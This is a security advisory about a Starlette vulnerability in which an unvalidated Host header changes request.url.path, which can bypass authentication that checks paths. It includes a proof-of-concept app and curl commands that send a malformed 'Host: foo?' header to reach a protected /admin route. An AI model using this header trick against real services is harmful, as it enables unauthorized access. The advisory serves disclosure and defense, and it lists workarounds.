X41 D-Sec GmbH Security Advisory: X41-2026-002

Request Host Header not Validated in Starlette

Severity Rating: High

Confirmed Affected Versions: starlette >= 0.8.3, < 1.0.1

Confirmed Patched Versions: starlette 1.0.1

Vendor: Starlette

Vendor URL: https://github.com/Kludex/starlette

Vector: Request Host Header not Validated

Credit: X41 D-Sec GmbH, JJ

Status: Public

CVE: To be assigned

GitHub ID: GHSA-86qp-5c8j-p5mr

CWE 436

CVSS Score: 7

CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Advisory URL: https://www.x41-dsec.de/lab/advisories/x41-2026-002-starlette/

Summary and Impact

Starlette reconstructs the requested URL based on the HTTP Host request header and requested path, but does not perform any validation of the Host header value. This allows attackers to inject paths into the host part, prepending the actual path. However, routing in Starlette is based on the actual request path. This inconsistent interpretation of HTTP requests may lead to issues such as authentication bypass when the authentication depends on the reconstructed URL’s path. Starlette is the foundation of the FastAPI Python framework.

Product Description

Starlette is a lightweight, high-performance ASGI (Asynchronous Server Gateway Interface) framework and toolkit used for building asynchronous web services in Python. It is known for its speed, simplicity, and for being the foundation of popular frameworks like FastAPI.

Analysis

When issuing an HTTP request for https://example.com/foo, clients extract the hostname example.com and the path /foo and issue the following request:

GET /foo HTTP/1.1
Host: example.com

Starlette reconstructs the client’s original URL based on f"{scheme}://{host_header}{path}", where {host_header} is the value of the Host request header and {path} is what was submitted in the first request line.

Starlette did not reject invalid characters in the Host header as per RFC 9112 Section 3.2, and a request such as:

GET /foo HTTP/1.1
Host: example.com/abc?bar=

would result in the URL http://example.com/abc?bar=/foo, which has a path of /abc while /foo was requested.

The routing algorithm of Starlette depends on the HTTP path, but the request.url.path attribute which is made available to middlewares and endpoints is based on the reconstructed URL. It is unexpected for users that request.url.path is different from the actual path requested over HTTP.

Using automated triage and analysis, X41 D-Sec has found several instances of middleware implementations in popular open source projects that rely on the request.url to apply security restrictions to certain paths. These could be bypassed using a malformed host request header, similar to the PoC attached below, resulting in various security issues ranging from authentication bypass to SSRF and other issues that in some cases even lead to remote-code-execution on the affected system.

Proof of Concept

pip install starlette
from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import PlainTextResponse
from starlette.routing import Route

class AuthMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        if request.url.path == "" or request.url.path == "/":
            return await call_next(request)
        return PlainTextResponse("Forbidden\n", status_code=403)

async def root(request):
    return PlainTextResponse("Hello World\n")
async def admin(request):
    return PlainTextResponse("secret=123\n")

routes = [
    Route("/", endpoint=root),
    Route("/admin", endpoint=admin),
]

app = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])

Then, start the app using any of the ASGI servers:

pip install {daphne,hypercorn,uvicorn,granian}
daphne poc:app
hypercorn poc:app
uvicorn poc:app
granian --interface asgi poc:app

Confirm that the Host header is not validated:

curl -i -H 'Host: foo' localhost:8000/admin # 403 Forbidden
curl -i -H 'Host: foo?' localhost:8000/admin # 200 OK

Workarounds

  • Avoid relying on the request path and instead implement features such as authentication based on the requested endpoint.
  • Use request.scope["path"] instead of request.url.path.
  • Deploy a reverse proxy that rejects invalid Host headers, such as nginx or Apache HTTP Server, in front of the Python application
  • Use an ASGI server that validates the host header according to the RFC spec

Timeline

2026-01-27 Issue identified during unrelated source code audit

2026-02-04 PoC created and vendor contacted. GHSA-86qp-5c8j-p5mr

2026-02-05 Vendor replied

2026-03-01 Patch proposed by the vendor

2026-05-21 Patch publicly released by the vendor

2026-05-22 Advisory released